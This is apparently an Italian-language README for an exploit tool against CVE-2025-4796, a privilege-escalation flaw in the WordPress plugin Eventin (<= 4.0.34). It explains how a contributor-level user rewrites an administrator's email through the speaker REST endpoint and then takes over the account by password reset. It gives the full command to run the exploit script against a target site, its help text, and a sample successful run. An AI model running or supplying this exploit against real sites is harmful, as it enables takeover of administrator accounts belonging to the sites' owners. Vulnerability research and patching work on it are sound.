
Eventin <= 4.0.34 - Escalation dei privilegi autenticata (Contributore+) tramite modifica dell'email utente/compromissione dell'account
Eventin <= 4.0.34 - Escalation dei privilegi autenticata (Contributor+) tramite modifica email utente/Account Takeover
Questo repository documenta una vulnerabilità di escalation dei privilegi nel plugin WordPress Eventin (<= 4.0.34) che consente a un utente autenticato con capacità Contributor+ di modificare gli indirizzi email di utenti arbitrari tramite l'API di aggiornamento speaker del plugin. Modificando l'email di un amministratore, un attaccante può attivare la procedura di reset della password e ottenere il controllo dell'account.
Componente vulnerabile: plugin WordPress Eventin (Eventin\Speaker\Api\SpeakerController::update_item)
Versioni interessate: <= 4.0.34
CVE: CVE-2025-4796
CVSS: 8.8 (Alta)
Installazioni attive: 10.000+
Eventin non valida correttamente l'identità o le capacità del chiamante prima di aggiornare i dettagli dello speaker/utente (in particolare l'email). Un attaccante autenticato come contributore (o superiore) può modificare l'indirizzo email di altri utenti — inclusi gli amministratori — utilizzando l'endpoint REST del plugin:
Una volta modificata l'email con un indirizzo controllato dall'attaccante, il flusso standard di reset della password di WordPress può essere utilizzato per prendere il controllo dell'account.
Nome file: CVE-2025-4796.py
Questo script automatizza i seguenti passaggi:
/wp-json/eventin/v2/speakers/<speaker_id> per aggiornare l'email dello speaker.Requisiti:
Installazione:
pip install requests
Esegui lo script dalla riga di comando:
python CVE-2025-4796.py -u https://target.site -id 9 -email [email protected] -user contributor_user -pass contributor_password
Mostra l'aiuto dello script:
python CVE-2025-4796.py -h
usage: CVE-2025-4796.py [-h] -u URL -id SPEAKER_ID -email EMAIL -user USERNAME -pass PASSWORD
Exploit For: CVE-2025-4796 By: Nxploited
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-id, --speaker_id SPEAKER_ID
Enter the speaker ID for the user
-email, --email EMAIL
Enter a new email address
-user, --username USERNAME
Enter the username for the account to upgrade
-pass, --password PASSWORD
Enter the password for the account to upgrade
[*] Please wait, exploitation starting ...
[*] Disabling SSL warnings ...
[*] Logging in to WordPress ...
[+] Logged in successfully.
[*] Extracting nonce value ...
[+] Nonce extracted: fc0ab7b983
[*] Exploiting and updating speaker info ...
[+] Exploitation in progress, please wait ...
[+] Exploitation successful.
[+] The account has been updated to Admin.
Speaker ID : 9
Email : [email protected]
[!] Please reset your password using the email: [email protected]
Di: Khaled Alenaz (Nxploited)
GitHub: https://github.com/Nxploited/